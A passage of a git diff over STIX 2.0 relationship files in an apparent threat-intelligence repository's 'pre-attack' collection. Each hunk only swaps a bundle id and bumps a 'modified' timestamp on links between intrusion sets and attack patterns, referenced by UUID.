             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--7718e92f-b011-4f88-b822-ae245a1de407",
             "target_ref": "attack-pattern--c721b235-679a-4d76-9ae9-e08921fccf84",
diff --git a/pre-attack/relationship/relationship--26bf68a4-af3c-4d39-bad3-5f0ce824f4a3.json b/pre-attack/relationship/relationship--26bf68a4-af3c-4d39-bad3-5f0ce824f4a3.json
index 7e4de099b1..4b6fc42afa 100644
--- a/pre-attack/relationship/relationship--26bf68a4-af3c-4d39-bad3-5f0ce824f4a3.json
+++ b/pre-attack/relationship/relationship--26bf68a4-af3c-4d39-bad3-5f0ce824f4a3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--27764596-ee33-4cd5-865c-8da9d89a2204",
+    "id": "bundle--b15d2038-a1a6-4b15-88bf-9dd061e61e31",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--26bf68a4-af3c-4d39-bad3-5f0ce824f4a3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "attack-pattern--c860af4a-376e-46d7-afbf-262c41012227",
diff --git a/pre-attack/relationship/relationship--28815a00-1cf4-4fbc-9039-306a9542c7fd.json b/pre-attack/relationship/relationship--28815a00-1cf4-4fbc-9039-306a9542c7fd.json
index f8d3e501eb..01aed1fa5a 100644
--- a/pre-attack/relationship/relationship--28815a00-1cf4-4fbc-9039-306a9542c7fd.json
+++ b/pre-attack/relationship/relationship--28815a00-1cf4-4fbc-9039-306a9542c7fd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2a2ddb7b-4a0a-49a0-b0f4-499f1776994a",
+    "id": "bundle--47bca8a0-6bd0-406b-b5e5-d97c109d0d6d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--28815a00-1cf4-4fbc-9039-306a9542c7fd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--4900fabf-1142-4c1f-92f5-0b590e049077",
             "target_ref": "attack-pattern--e51398e6-53dc-4e9f-a323-e54683d8672b",
diff --git a/pre-attack/relationship/relationship--28bf7e8b-9948-40a8-945b-6b5f2c78ec53.json b/pre-attack/relationship/relationship--28bf7e8b-9948-40a8-945b-6b5f2c78ec53.json
index 7f474b317c..49e8fd658f 100644
--- a/pre-attack/relationship/relationship--28bf7e8b-9948-40a8-945b-6b5f2c78ec53.json
+++ b/pre-attack/relationship/relationship--28bf7e8b-9948-40a8-945b-6b5f2c78ec53.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ebff83e2-68d0-4957-a572-afc62e9ce773",
+    "id": "bundle--4f29eebc-7256-46d4-a455-924aab4e4177",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--28bf7e8b-9948-40a8-945b-6b5f2c78ec53",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a",
             "target_ref": "attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88",
diff --git a/pre-attack/relationship/relationship--2b0ec032-eaca-4f0c-be55-39471f0f2bf5.json b/pre-attack/relationship/relationship--2b0ec032-eaca-4f0c-be55-39471f0f2bf5.json
index 24dee0bd9f..09ae40f9af 100644
--- a/pre-attack/relationship/relationship--2b0ec032-eaca-4f0c-be55-39471f0f2bf5.json
+++ b/pre-attack/relationship/relationship--2b0ec032-eaca-4f0c-be55-39471f0f2bf5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--89426df9-5597-44e7-ae09-f868e69b0e7f",
+    "id": "bundle--e7e17569-2bab-4ee2-b32e-36d47af43df6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2b0ec032-eaca-4f0c-be55-39471f0f2bf5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "attack-pattern--27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768",
diff --git a/pre-attack/relationship/relationship--2b6a71e4-e5d5-41d2-a193-9a95c94dc924.json b/pre-attack/relationship/relationship--2b6a71e4-e5d5-41d2-a193-9a95c94dc924.json
index a85a62be36..69514e568d 100644
--- a/pre-attack/relationship/relationship--2b6a71e4-e5d5-41d2-a193-9a95c94dc924.json
+++ b/pre-attack/relationship/relationship--2b6a71e4-e5d5-41d2-a193-9a95c94dc924.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--07a3a32c-cc47-476c-b9d2-65f8f3320bdf",
+    "id": "bundle--28d12f22-4216-4941-afb2-39d7797f6c94",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2b6a71e4-e5d5-41d2-a193-9a95c94dc924",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "attack-pattern--15ef4da5-3b93-4bb1-a39a-5396661956d3",
diff --git a/pre-attack/relationship/relationship--2bf984b5-1a48-4d9a-a4f2-e97801254b84.json b/pre-attack/relationship/relationship--2bf984b5-1a48-4d9a-a4f2-e97801254b84.json
index b8d59bd148..36a00a21a0 100644
--- a/pre-attack/relationship/relationship--2bf984b5-1a48-4d9a-a4f2-e97801254b84.json
+++ b/pre-attack/relationship/relationship--2bf984b5-1a48-4d9a-a4f2-e97801254b84.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ea90986a-f34e-477f-8017-2282c2407e3b",
+    "id": "bundle--042b36f0-9674-4741-9e59-b4e9b4579e53",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2bf984b5-1a48-4d9a-a4f2-e97801254b84",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--488da8ed-2887-4ef6-a39a-5b69bc6682c6",
             "target_ref": "attack-pattern--1a295f87-af63-4d94-b130-039d6221fb11",
diff --git a/pre-attack/relationship/relationship--2daad934-bf08-4a2f-b656-4f7d197eb8fa.json b/pre-attack/relationship/relationship--2daad934-bf08-4a2f-b656-4f7d197eb8fa.json
index 4ca3dd4a43..8f46381bd0 100644
--- a/pre-attack/relationship/relationship--2daad934-bf08-4a2f-b656-4f7d197eb8fa.json
+++ b/pre-attack/relationship/relationship--2daad934-bf08-4a2f-b656-4f7d197eb8fa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0a0b42ef-9b6d-4426-8bde-d90a83f50332",
+    "id": "bundle--6bef8cc6-8476-4a97-9b43-c28737cc34c0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2daad934-bf08-4a2f-b656-4f7d197eb8fa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "attack-pattern--d3999268-740f-467e-a075-c82e2d04be62",
diff --git a/pre-attack/relationship/relationship--2dbdcf5e-af75-4f92-b4ad-942a06aab259.json b/pre-attack/relationship/relationship--2dbdcf5e-af75-4f92-b4ad-942a06aab259.json
index 7b15f3bbdd..8cd4e7380e 100644
--- a/pre-attack/relationship/relationship--2dbdcf5e-af75-4f92-b4ad-942a06aab259.json
+++ b/pre-attack/relationship/relationship--2dbdcf5e-af75-4f92-b4ad-942a06aab259.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6519fb80-4284-488d-86cc-208a591658f4",
+    "id": "bundle--100b30f2-5080-4a22-8502-d4430efb7d18",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2dbdcf5e-af75-4f92-b4ad-942a06aab259",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--7baccb84-356c-4e89-8c5d-58e701f033fc",
             "target_ref": "attack-pattern--092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc",
diff --git a/pre-attack/relationship/relationship--307e24f8-4d7c-49a8-88f6-fb0a99fe8ff4.json b/pre-attack/relationship/relationship--307e24f8-4d7c-49a8-88f6-fb0a99fe8ff4.json
index 7aa7c225d0..0858defdb6 100644
--- a/pre-attack/relationship/relationship--307e24f8-4d7c-49a8-88f6-fb0a99fe8ff4.json
+++ b/pre-attack/relationship/relationship--307e24f8-4d7c-49a8-88f6-fb0a99fe8ff4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--564f363b-4603-49dd-93fd-77874e6d1190",
+    "id": "bundle--1f9fe637-cd3a-48a9-8ec5-30525bfd2c6b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--307e24f8-4d7c-49a8-88f6-fb0a99fe8ff4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70",
             "target_ref": "attack-pattern--d69c3e06-8311-4093-8e3e-0a8e06b15d92",
diff --git a/pre-attack/relationship/relationship--34ba5998-4e43-4669-9701-1877aa267354.json b/pre-attack/relationship/relationship--34ba5998-4e43-4669-9701-1877aa267354.json
index ee1ded0d3a..3048743d67 100644
--- a/pre-attack/relationship/relationship--34ba5998-4e43-4669-9701-1877aa267354.json
+++ b/pre-attack/relationship/relationship--34ba5998-4e43-4669-9701-1877aa267354.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bf0b1b2b-eb09-4b75-b16e-edb21d3cdd35",
+    "id": "bundle--0cc1e6c7-1ac2-45ed-96b0-74c7608b0c6b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--34ba5998-4e43-4669-9701-1877aa267354",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "attack-pattern--9108e212-1c94-4f8d-be76-1aad9b4c86a4",
diff --git a/pre-attack/relationship/relationship--36990d75-9fbd-43f0-9966-ae58f0388e1d.json b/pre-attack/relationship/relationship--36990d75-9fbd-43f0-9966-ae58f0388e1d.json
index 56a4f06757..11b98b760e 100644
--- a/pre-attack/relationship/relationship--36990d75-9fbd-43f0-9966-ae58f0388e1d.json
+++ b/pre-attack/relationship/relationship--36990d75-9fbd-43f0-9966-ae58f0388e1d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5297e67b-624a-4c5f-bbf4-ee03c2c60820",
+    "id": "bundle--7bdabeae-6cb9-4ca7-9021-58178b7e63f3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--36990d75-9fbd-43f0-9966-ae58f0388e1d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--96eb59d1-6c46-44bb-bfcd-56be02a00d41",
             "target_ref": "attack-pattern--092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc",
diff --git a/pre-attack/relationship/relationship--39db1df8-f786-480c-9faf-5b870de2250b.json b/pre-attack/relationship/relationship--39db1df8-f786-480c-9faf-5b870de2250b.json
index 00e60f889e..7e80f3d1b4 100644
--- a/pre-attack/relationship/relationship--39db1df8-f786-480c-9faf-5b870de2250b.json
+++ b/pre-attack/relationship/relationship--39db1df8-f786-480c-9faf-5b870de2250b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--60f7f1c8-f3ce-4b6c-ad7a-68813f544eef",
+    "id": "bundle--b60a2569-c589-4a76-9a73-e9dc97194773",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--39db1df8-f786-480c-9faf-5b870de2250b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "attack-pattern--1a295f87-af63-4d94-b130-039d6221fb11",
diff --git a/pre-attack/relationship/relationship--3c7c0851-1cf8-458f-862d-4e4827f8f474.json b/pre-attack/relationship/relationship--3c7c0851-1cf8-458f-862d-4e4827f8f474.json
index 0011c5c697..252d822c47 100644
--- a/pre-attack/relationship/relationship--3c7c0851-1cf8-458f-862d-4e4827f8f474.json
+++ b/pre-attack/relationship/relationship--3c7c0851-1cf8-458f-862d-4e4827f8f474.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--626a33ce-a43e-42cc-bb67-bd3ea9537ea0",
+    "id": "bundle--d022cf27-7c16-4280-bd96-4abf8dc2d5ec",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3c7c0851-1cf8-458f-862d-4e4827f8f474",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "attack-pattern--91a3735f-817a-4450-8ed4-f05a0f5c3877",
diff --git a/pre-attack/relationship/relationship--3d3eb711-5054-4b32-8006-15ba67d3bb25.json b/pre-attack/relationship/relationship--3d3eb711-5054-4b32-8006-15ba67d3bb25.json
index 337d659be3..a6aa88a54c 100644
--- a/pre-attack/relationship/relationship--3d3eb711-5054-4b32-8006-15ba67d3bb25.json
+++ b/pre-attack/relationship/relationship--3d3eb711-5054-4b32-8006-15ba67d3bb25.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f28f5377-5d4d-44a9-b423-83e03ce80556",
+    "id": "bundle--725492f8-b046-46cb-b89e-187ec00d0a7d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3d3eb711-5054-4b32-8006-15ba67d3bb25",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "attack-pattern--2141aea0-cf38-49aa-9e51-ac34092bc30a",
diff --git a/pre-attack/relationship/relationship--3d65fc7e-87a5-4113-bd9c-09453fba4d1e.json b/pre-attack/relationship/relationship--3d65fc7e-87a5-4113-bd9c-09453fba4d1e.json
index be36aaa7b9..d699b2e4ab 100644
--- a/pre-attack/relationship/relationship--3d65fc7e-87a5-4113-bd9c-09453fba4d1e.json
+++ b/pre-attack/relationship/relationship--3d65fc7e-87a5-4113-bd9c-09453fba4d1e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e074242b-5175-43ea-8c4a-a1e7cbcff9fc",
+    "id": "bundle--1603a9c0-5a54-4be2-a0ae-aae74146fad4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3d65fc7e-87a5-4113-bd9c-09453fba4d1e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "attack-pattern--45242287-2964-4a3e-9373-159fad4d8195",
diff --git a/pre-attack/relationship/relationship--3d781e9a-d3f8-4e9f-bb23-ba6c2ff22267.json b/pre-attack/relationship/relationship--3d781e9a-d3f8-4e9f-bb23-ba6c2ff22267.json
index dd3741468c..11dce3991d 100644
--- a/pre-attack/relationship/relationship--3d781e9a-d3f8-4e9f-bb23-ba6c2ff22267.json
+++ b/pre-attack/relationship/relationship--3d781e9a-d3f8-4e9f-bb23-ba6c2ff22267.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3f858af2-8deb-4b41-9244-ba1944b3d33d",
+    "id": "bundle--803f9fa5-9d67-4a6f-8f8c-cadcd68c2bb5",
     "spec_version": "2.0",
     "objects": [
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@@ -8,7 +8,7 @@
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--1a295f87-af63-4d94-b130-039d6221fb11",
             "target_ref": "attack-pattern--488da8ed-2887-4ef6-a39a-5b69bc6682c6",
diff --git a/pre-attack/relationship/relationship--3f8694fa-8e16-465b-8357-ec0a85316e9c.json b/pre-attack/relationship/relationship--3f8694fa-8e16-465b-8357-ec0a85316e9c.json
index 93214d7f39..22fbb313c9 100644
--- a/pre-attack/relationship/relationship--3f8694fa-8e16-465b-8357-ec0a85316e9c.json
+++ b/pre-attack/relationship/relationship--3f8694fa-8e16-465b-8357-ec0a85316e9c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--49925b9a-0f4c-4949-9fc2-5aad129621a0",
+    "id": "bundle--a070f035-f47f-49bf-aa26-3deb652262e6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3f8694fa-8e16-465b-8357-ec0a85316e9c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "attack-pattern--b79a1960-d0be-4b51-bb62-b27e91e1dea0",
diff --git a/pre-attack/relationship/relationship--41be9f31-9d2b-44b8-a7dc-31f8c4519751.json b/pre-attack/relationship/relationship--41be9f31-9d2b-44b8-a7dc-31f8c4519751.json
index 64decf3477..76e8508a0d 100644
--- a/pre-attack/relationship/relationship--41be9f31-9d2b-44b8-a7dc-31f8c4519751.json
+++ b/pre-attack/relationship/relationship--41be9f31-9d2b-44b8-a7dc-31f8c4519751.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b17f7159-4d84-42d5-8621-a907bfa5b245",
+    "id": "bundle--ff8c06e0-540d-409c-b495-4c04d2c3d45b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--41be9f31-9d2b-44b8-a7dc-31f8c4519751",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--e6ca2820-a564-4b74-b42a-b6bdf052e5b6",
             "target_ref": "attack-pattern--72c8d526-1247-42d4-919c-6d7a31ca8f39",
diff --git a/pre-attack/relationship/relationship--432c700b-4bf3-4824-a530-a6e86882c4b7.json b/pre-attack/relationship/relationship--432c700b-4bf3-4824-a530-a6e86882c4b7.json
index 6d2bc8af44..1120611f5b 100644
--- a/pre-attack/relationship/relationship--432c700b-4bf3-4824-a530-a6e86882c4b7.json
+++ b/pre-attack/relationship/relationship--432c700b-4bf3-4824-a530-a6e86882c4b7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--517b64d5-764b-4c6b-b993-2dd67d0310a6",
+    "id": "bundle--0c485652-49f2-49a9-a499-df5197ec83fd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--432c700b-4bf3-4824-a530-a6e86882c4b7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--59369f72-3005-4e54-9095-3d00efcece73",
             "target_ref": "attack-pattern--78e41091-d10d-4001-b202-89612892b6ff",
diff --git a/pre-attack/relationship/relationship--46f1e7d4-4d73-4e33-b88b-b3bcde5d81fb.json b/pre-attack/relationship/relationship--46f1e7d4-4d73-4e33-b88b-b3bcde5d81fb.json
index 705ca53166..19b558b7a6 100644
--- a/pre-attack/relationship/relationship--46f1e7d4-4d73-4e33-b88b-b3bcde5d81fb.json
+++ b/pre-attack/relationship/relationship--46f1e7d4-4d73-4e33-b88b-b3bcde5d81fb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dabbaf01-9926-4825-8fac-653853bd1e67",
+    "id": "bundle--75020445-04bf-4652-9c2f-4bab9c7f167e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--46f1e7d4-4d73-4e33-b88b-b3bcde5d81fb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--a757670d-d600-48d9-8ae9-601d42c184a5",
             "target_ref": "attack-pattern--af358cad-eb71-4e91-a752-236edc237dae",
diff --git a/pre-attack/relationship/relationship--4a69750c-47d5-40f5-b753-c6bb2a27a359.json b/pre-attack/relationship/relationship--4a69750c-47d5-40f5-b753-c6bb2a27a359.json
index 62bb53c921..2791fcc1c0 100644
--- a/pre-attack/relationship/relationship--4a69750c-47d5-40f5-b753-c6bb2a27a359.json
+++ b/pre-attack/relationship/relationship--4a69750c-47d5-40f5-b753-c6bb2a27a359.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9792ee8c-a2f8-4b97-a549-0c7cdfc6c828",
+    "id": "bundle--1dfe0cc9-5ead-463f-88c1-d2c74d55cdf3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4a69750c-47d5-40f5-b753-c6bb2a27a359",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--eacd1efe-ee30-4b03-b58f-5b3b1adfe45d",
             "target_ref": "attack-pattern--103d72e6-7e0d-4b3a-9373-c38567305c33",
diff --git a/pre-attack/relationship/relationship--4e06cf53-00b1-46a6-a6b6-8e33e761b83f.json b/pre-attack/relationship/relationship--4e06cf53-00b1-46a6-a6b6-8e33e761b83f.json
index 45dc5539f4..3be170dfb6 100644
--- a/pre-attack/relationship/relationship--4e06cf53-00b1-46a6-a6b6-8e33e761b83f.json
+++ b/pre-attack/relationship/relationship--4e06cf53-00b1-46a6-a6b6-8e33e761b83f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7810513a-1685-403d-b1f8-1adff8e6b0bc",
+    "id": "bundle--9c3cdde1-7952-4ec3-a56a-e560dff613b4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4e06cf53-00b1-46a6-a6b6-8e33e761b83f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb",
             "target_ref": "attack-pattern--91a3735f-817a-4450-8ed4-f05a0f5c3877",
diff --git a/pre-attack/relationship/relationship--4eb0e01c-85ae-466a-a8ff-0cf7891c5ab2.json b/pre-attack/relationship/relationship--4eb0e01c-85ae-466a-a8ff-0cf7891c5ab2.json
index cb50718a31..0afcfc7fc8 100644
--- a/pre-attack/relationship/relationship--4eb0e01c-85ae-466a-a8ff-0cf7891c5ab2.json
+++ b/pre-attack/relationship/relationship--4eb0e01c-85ae-466a-a8ff-0cf7891c5ab2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--20c4fa6e-a57b-4081-9a7e-f7e6737119e4",
+    "id": "bundle--5b091f67-38ca-435f-a88c-e73377bdb401",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4eb0e01c-85ae-466a-a8ff-0cf7891c5ab2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70",
             "target_ref": "attack-pattern--5b6ce031-bb86-407a-9984-2b9700ac4549",
diff --git a/pre-attack/relationship/relationship--515e7665-040c-44ac-a379-44d4399d6e2b.json b/pre-attack/relationship/relationship--515e7665-040c-44ac-a379-44d4399d6e2b.json
index e45cc8241d..e00f2524c1 100644
--- a/pre-attack/relationship/relationship--515e7665-040c-44ac-a379-44d4399d6e2b.json
+++ b/pre-attack/relationship/relationship--515e7665-040c-44ac-a379-44d4399d6e2b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d723d450-ef7c-467c-b6c4-50b29cc03c52",
+    "id": "bundle--f842895e-ce75-49c2-84b4-929498ec1b9e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--515e7665-040c-44ac-a379-44d4399d6e2b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "attack-pattern--27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768",
diff --git a/pre-attack/relationship/relationship--51c20b46-16cc-4b58-80d7-89d48b14b064.json b/pre-attack/relationship/relationship--51c20b46-16cc-4b58-80d7-89d48b14b064.json
index e729b3bd54..176e280057 100644
--- a/pre-attack/relationship/relationship--51c20b46-16cc-4b58-80d7-89d48b14b064.json
+++ b/pre-attack/relationship/relationship--51c20b46-16cc-4b58-80d7-89d48b14b064.json
